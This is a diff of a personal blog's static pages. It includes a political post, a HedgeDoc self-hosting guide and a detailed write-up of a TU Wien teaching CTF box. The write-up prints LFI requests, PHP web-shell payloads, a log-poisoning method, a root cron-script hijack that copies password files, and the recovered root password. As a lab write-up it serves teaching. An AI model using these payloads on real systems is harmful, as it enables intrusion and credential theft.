    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/g00_tuw_measurement_ctf/index.html b/public-onion/posts/g00_tuw_measurement_ctf/index.html new file mode 100644 index 0000000..5cebabd --- /dev/null +++ b/public-onion/posts/g00_tuw_measurement_ctf/index.html @@ -0,0 +1,888 @@ + + + + + + + +A TU Wien CTF where Sysops Klaus left the keys in the cron job | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    + +
    +
    +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/h3ll0_fr1end/index.html b/public-onion/posts/h3ll0_fr1end/index.html new file mode 100644 index 0000000..fd5aa30 --- /dev/null +++ b/public-onion/posts/h3ll0_fr1end/index.html @@ -0,0 +1,561 @@ + + + + + + + +H3ll0 Fr1end | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + H3ll0 Fr1end +

    + +
    +

    Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well.

    +

    The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.

    +

    It’s so so sad that I’m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It’s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, …, Persian Constitutional Revolution, etc.. So fucking sad.

    +

    The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don’t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime’s influence over it’s people.

    +

    Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it’s own people. Years of stagflation, and no bright light in sight.

    +

    Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)

    +

    Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D

    +

    I honestly also don’t feel like proofreading the text, so… there would be many mistakes. :) And honestly, idc.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK
    +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz
    +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l
    +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw
    +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+
    +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb
    +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM
    +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS
    +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1
    +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM
    +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA=
    +=7md6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md.asc
    +gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/hedge_doc.asc b/public-onion/posts/hedge_doc.asc new file mode 100644 index 0000000..04c32f3 --- /dev/null +++ b/public-onion/posts/hedge_doc.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q88YP/RQ/Kl+5D4LtmlO9z/2y/d3k +m7DJcaLlx1D8VXZboEq5auS9/AKnwDwjrQsCAug6aO3+MENRGT+YaxqACcD8/J07 ++TB7+gnTkB+iFUIFOsdx2oKuZhwhpXv/MEqNsD2VVrMgM+8SChBhdlV0axJdWb9g +tOphFNL1JdZAU1G7PqwVJDZWAsj8tr7DL7+EVTb0E2qXdZmbR9VmhkCojaPw156I +BGc7zkPhGwJpBW0PlKFM68SeH1+nMleE1WxfWgPpGpk5JeLvOVMiIbp1M8qJojk7 +SO45+IpfVJ4YC3mHhgd5dkG603dZDtC44AS+zvU/GiUMjBa2li9TuOiF0QiQHdv1 +nnAmFbov8EKW1PKRhD91iBZpwY4ckAngXkfJEaQh+QiDEceR2c4sYFmlP11SBYXI +9g4AUnH8E8Js1UnJ3Jc+dGONbVV/cJ/D+am4ujo3DAgJWiwNl5zZumHtM8GfOOf3 +HasC9uNzebsnIEoaxP1xwTKP/OwZktPgUlBoKjQ3lvvymYWmF6f+dSC4zTed8PLT +jexTeK01OVPLIcbV4h2UGwyoUTGSZ1hSkXA3gyehV/yqInBJhTkhD8bAwDj4NYbD +8PwaiSSQITgmZPCssrCSpEB8KJpBEFjEE0OksQN/sB2aZkegASMNUlYsmr1OOEIZ +ah+SMhSAQZcRUpsRdN9o +=pfUc +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/hedge_doc/index.html b/public-onion/posts/hedge_doc/index.html new file mode 100644 index 0000000..e39687f --- /dev/null +++ b/public-onion/posts/hedge_doc/index.html @@ -0,0 +1,693 @@ + + + + + + + +Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    + +
    +
    + HedgeDoc collaborative editing +
    Collaborative Markdown editing with HedgeDoc
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
